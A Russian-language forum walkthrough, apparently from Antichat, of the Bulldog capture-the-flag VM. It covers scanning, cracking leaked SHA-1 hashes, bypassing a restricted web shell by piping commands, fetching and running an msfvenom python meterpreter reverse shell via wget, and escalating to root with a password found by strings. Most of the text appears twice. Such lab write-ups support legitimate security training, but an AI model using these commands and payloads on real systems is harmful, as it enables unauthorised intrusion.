Vander
31.05.2018, 00:48
Привет, Antichat! В этот раз я предлагаю рассмотреть методы решения, в рамках CTF, уязвимой VM Bulldog (Boot2Root Challenge)
https://forum.antichat.xyz/attachments/28989161/1527712377067.png
Скачиваем Bulldog тут
Атакующая ОС: Kali Linux 2018.2
Импортируем и запускаем (при запуске, VM сообщает, какой адрес получила по DHCP) затем ищем, где запущен web сервер у VM:
https://forum.antichat.xyz/attachments/28989161/1527712421288.png
Код:
nmap –sV –A 192.168.0.110
https://forum.antichat.xyz/attachments/28989161/1527712445012.png
Переходим на webBulldog:
https://forum.antichat.xyz/attachments/28989161/1527712462738.png
Тут, ничего, заслуживающего внимания я не нашел, подключаем nikto для более подробного анализа сервера:
Код:
nikto –h 192.168.0.110
https://forum.antichat.xyz/attachments/28989161/1527712489880.png
Niktoнашел интересную директорию, зайдем осмотреться:
https://forum.antichat.xyz/attachments/28989161/1527712509386.png
Тут интересен вход в Web Shell, но он доступен аутентифицированным пользователям:
https://forum.antichat.xyz/attachments/28989161/1527712530846.png
И список, тех, с кем можно на эту тему поговорить, этим мы заниматься не будем, а заглянем в исходный код страницы:
https://forum.antichat.xyz/attachments/28989161/1527712542041.png
Отлично, это похоже на хэши паролей, проверим тип одного из этих хэшей:
Код:
hash-identifier
https://forum.antichat.xyz/attachments/28989161/1527712570613.png
Скорее всего, тип хэша SHA – 1. Приступим к его декодированию, для этого используем john с дефолтными настройками:
Код:
john /root/123.txt (тут хэш пароля) –format=RAW-SHA1
https://forum.antichat.xyz/attachments/28989161/1527712651831.png
Имеем в наличии учётные данные пользователя Ник:
nick
bulldog
Используем их для аутентификации на сервере:
Код:
http://192.168.0.110/admin
https://forum.antichat.xyz/attachments/28989161/1527712688761.png
После успешной авторизации, можно перейти в Web Shell:
Код:
http://192.168.0.110/dev/shell/
https://forum.antichat.xyz/attachments/28989161/1527712722716.png
Шелл настроен таким образом, что выполняются только те команды, список которых нам предоставили. При осмотре были обнаружены интересные моменты, но мы пойдем несколько иным путём.
Итак, для выполнения имеем ограниченный список команд и подсказку, что команды выполняются непосредственно на сервере, от имени пользователя и скорее всего, это не Ник, а jango т.к. он там установлен.
Этих команд достаточно, да и одной вполне, чтобы сделать так…
| - конвейер. Передает вывод предыдущей команды на ввод следующей или на вход командного интерпретатора shell. Этот метод часто используется для связывания последовательности команд в единую цепочку.
Конвейеры (еще их называют каналами) - это классический способ взаимодействия процессов, с помощью которого stdout одного процесса перенаправляется на stdin другого. Обычно используется совместно с командами вывода, такими как cat или echo, от которых поток данных поступает в "фильтр" (команда, которая на входе получает данные, преобразует их и обрабатывает).
Полагаю, что будет дальше понятно.
Если мы выполним команду:
Код:
whoami
https://forum.antichat.xyz/attachments/28989161/1527712763275.png
Результат не радужный, но если сделаем:
Код:
pwd | whoami
https://forum.antichat.xyz/attachments/28989161/1527712795674.png
Теперь, все отрабатывает должным образом.
Чтобы избавиться от этого шелла «курильщика» и обзавестись более функциональным, необходимо загрузить полезную нагрузку на сервер, думаю, wget вполне подойдет для этих целей.
Берем FatRat или Msfvenom для генерации полезной нагрузки в формате python(это обязательный момент, т.к. это Django)
Код:
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.110 lport=4444 > /var/www/html/sh.py
Убеждаемся, что на атакующей машине поднят Apache, туда и копируем shell скрипт, чтобы потом, используя wget на Web Shell, загрузить его с нашего сервера и затем запустить, инициируя сессию meterpreter.
https://forum.antichat.xyz/attachments/28989161/1527712862829.png
Настраиваем handler:
https://forum.antichat.xyz/attachments/28989161/1527712875919.png
Этап загрузки shellскрипта:
Код:
pwd | wget http://192.168.0.101:88/sh.py
https://forum.antichat.xyz/attachments/28989161/1527712917044.png
Убеждаемся, что загрузка прошла успешно:
Код:
ls -a
https://forum.antichat.xyz/attachments/28989161/1527712945532.png
Даем права скрипту на запуск:
Код:
pwd | chmod 777 sh.py
Запускаем скрипт:
Код:
python sh.py
https://forum.antichat.xyz/attachments/28989161/1527712998516.png
Результат предсказуем:
https://forum.antichat.xyz/attachments/28989161/1527713010294.png
Используем команду:
Код:
shell
Затем импортируем bashоболочку:
Код:
python -c 'import pty;pty.spawn("/bin/bash")'
https://forum.antichat.xyz/attachments/28989161/1527713061873.png
Переходим в директорию /home/bulldogadmin и смотрим на ее содержимое:
Код:
ls –a
Обнаружив скрытую директорию, переходим в нее:
Код:
cd .hiddenadmindirectory
ls –a
https://forum.antichat.xyz/attachments/28989161/1527713117975.png
Приложение, которое мы там обнаружили, позволит нам в дальнейшем получить root права в системе. Для начала можно посмотреть, что там внутри.
strings — unix-утилита, применяемая для поиска печатаемых строк в двоичных файлах. Она выводит последовательности печатаемых символов, обнаруженных в заданном файле. Может использоваться для визуального анализа дамп-файлов (core dump) или для отыскания информации о типе файла.
Код:
strings customPermissionApp
https://forum.antichat.xyz/attachments/28989161/1527713158745.png
Выделенное мной, напоминает пароль, при запуске этого приложения оно запрашивает пароль пользователя, но мы попробуем этот в качестве универсального.
Для этого переходим в свою директорию, где мы можем запускать файлы, и это приложение в том числе:
Код:
cd /home/jango/bulldog
./customPermissionApp
https://forum.antichat.xyz/attachments/28989161/1527713188465.png
Теперь, мы root, зайдем в свою домашнюю директорию и прочитаем файл:
Код:
cd
cat congrats.txt
https://forum.antichat.xyz/attachments/28989161/1527713218191.png
На этом прохождение Bulldog VM можно считать завершенным.
Спасибо за внимание.
https://forum.antichat.xyz/attachments/28989161/1527712377067.png
Скачиваем Bulldog тут
Атакующая ОС: Kali Linux 2018.2
Импортируем и запускаем (при запуске, VM сообщает, какой адрес получила по DHCP) затем ищем, где запущен web сервер у VM:
https://forum.antichat.xyz/attachments/28989161/1527712421288.png
Код:
nmap –sV –A 192.168.0.110
https://forum.antichat.xyz/attachments/28989161/1527712445012.png
Переходим на webBulldog:
https://forum.antichat.xyz/attachments/28989161/1527712462738.png
Тут, ничего, заслуживающего внимания я не нашел, подключаем nikto для более подробного анализа сервера:
Код:
nikto –h 192.168.0.110
https://forum.antichat.xyz/attachments/28989161/1527712489880.png
Niktoнашел интересную директорию, зайдем осмотреться:
https://forum.antichat.xyz/attachments/28989161/1527712509386.png
Тут интересен вход в Web Shell, но он доступен аутентифицированным пользователям:
https://forum.antichat.xyz/attachments/28989161/1527712530846.png
И список, тех, с кем можно на эту тему поговорить, этим мы заниматься не будем, а заглянем в исходный код страницы:
https://forum.antichat.xyz/attachments/28989161/1527712542041.png
Отлично, это похоже на хэши паролей, проверим тип одного из этих хэшей:
Код:
hash-identifier
https://forum.antichat.xyz/attachments/28989161/1527712570613.png
Скорее всего, тип хэша SHA – 1. Приступим к его декодированию, для этого используем john с дефолтными настройками:
Код:
john /root/123.txt (тут хэш пароля) –format=RAW-SHA1
https://forum.antichat.xyz/attachments/28989161/1527712651831.png
Имеем в наличии учётные данные пользователя Ник:
nick
bulldog
Используем их для аутентификации на сервере:
Код:
http://192.168.0.110/admin
https://forum.antichat.xyz/attachments/28989161/1527712688761.png
После успешной авторизации, можно перейти в Web Shell:
Код:
http://192.168.0.110/dev/shell/
https://forum.antichat.xyz/attachments/28989161/1527712722716.png
Шелл настроен таким образом, что выполняются только те команды, список которых нам предоставили. При осмотре были обнаружены интересные моменты, но мы пойдем несколько иным путём.
Итак, для выполнения имеем ограниченный список команд и подсказку, что команды выполняются непосредственно на сервере, от имени пользователя и скорее всего, это не Ник, а jango т.к. он там установлен.
Этих команд достаточно, да и одной вполне, чтобы сделать так…
| - конвейер. Передает вывод предыдущей команды на ввод следующей или на вход командного интерпретатора shell. Этот метод часто используется для связывания последовательности команд в единую цепочку.
Конвейеры (еще их называют каналами) - это классический способ взаимодействия процессов, с помощью которого stdout одного процесса перенаправляется на stdin другого. Обычно используется совместно с командами вывода, такими как cat или echo, от которых поток данных поступает в "фильтр" (команда, которая на входе получает данные, преобразует их и обрабатывает).
Полагаю, что будет дальше понятно.
Если мы выполним команду:
Код:
whoami
https://forum.antichat.xyz/attachments/28989161/1527712763275.png
Результат не радужный, но если сделаем:
Код:
pwd | whoami
https://forum.antichat.xyz/attachments/28989161/1527712795674.png
Теперь, все отрабатывает должным образом.
Чтобы избавиться от этого шелла «курильщика» и обзавестись более функциональным, необходимо загрузить полезную нагрузку на сервер, думаю, wget вполне подойдет для этих целей.
Берем FatRat или Msfvenom для генерации полезной нагрузки в формате python(это обязательный момент, т.к. это Django)
Код:
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.110 lport=4444 > /var/www/html/sh.py
Убеждаемся, что на атакующей машине поднят Apache, туда и копируем shell скрипт, чтобы потом, используя wget на Web Shell, загрузить его с нашего сервера и затем запустить, инициируя сессию meterpreter.
https://forum.antichat.xyz/attachments/28989161/1527712862829.png
Настраиваем handler:
https://forum.antichat.xyz/attachments/28989161/1527712875919.png
Этап загрузки shellскрипта:
Код:
pwd | wget http://192.168.0.101:88/sh.py
https://forum.antichat.xyz/attachments/28989161/1527712917044.png
Убеждаемся, что загрузка прошла успешно:
Код:
ls -a
https://forum.antichat.xyz/attachments/28989161/1527712945532.png
Даем права скрипту на запуск:
Код:
pwd | chmod 777 sh.py
Запускаем скрипт:
Код:
python sh.py
https://forum.antichat.xyz/attachments/28989161/1527712998516.png
Результат предсказуем:
https://forum.antichat.xyz/attachments/28989161/1527713010294.png
Используем команду:
Код:
shell
Затем импортируем bashоболочку:
Код:
python -c 'import pty;pty.spawn("/bin/bash")'
https://forum.antichat.xyz/attachments/28989161/1527713061873.png
Переходим в директорию /home/bulldogadmin и смотрим на ее содержимое:
Код:
ls –a
Обнаружив скрытую директорию, переходим в нее:
Код:
cd .hiddenadmindirectory
ls –a
https://forum.antichat.xyz/attachments/28989161/1527713117975.png
Приложение, которое мы там обнаружили, позволит нам в дальнейшем получить root права в системе. Для начала можно посмотреть, что там внутри.
strings — unix-утилита, применяемая для поиска печатаемых строк в двоичных файлах. Она выводит последовательности печатаемых символов, обнаруженных в заданном файле. Может использоваться для визуального анализа дамп-файлов (core dump) или для отыскания информации о типе файла.
Код:
strings customPermissionApp
https://forum.antichat.xyz/attachments/28989161/1527713158745.png
Выделенное мной, напоминает пароль, при запуске этого приложения оно запрашивает пароль пользователя, но мы попробуем этот в качестве универсального.
Для этого переходим в свою директорию, где мы можем запускать файлы, и это приложение в том числе:
Код:
cd /home/jango/bulldog
./customPermissionApp
https://forum.antichat.xyz/attachments/28989161/1527713188465.png
Теперь, мы root, зайдем в свою домашнюю директорию и прочитаем файл:
Код:
cd
cat congrats.txt
https://forum.antichat.xyz/attachments/28989161/1527713218191.png
На этом прохождение Bulldog VM можно считать завершенным.
Спасибо за внимание.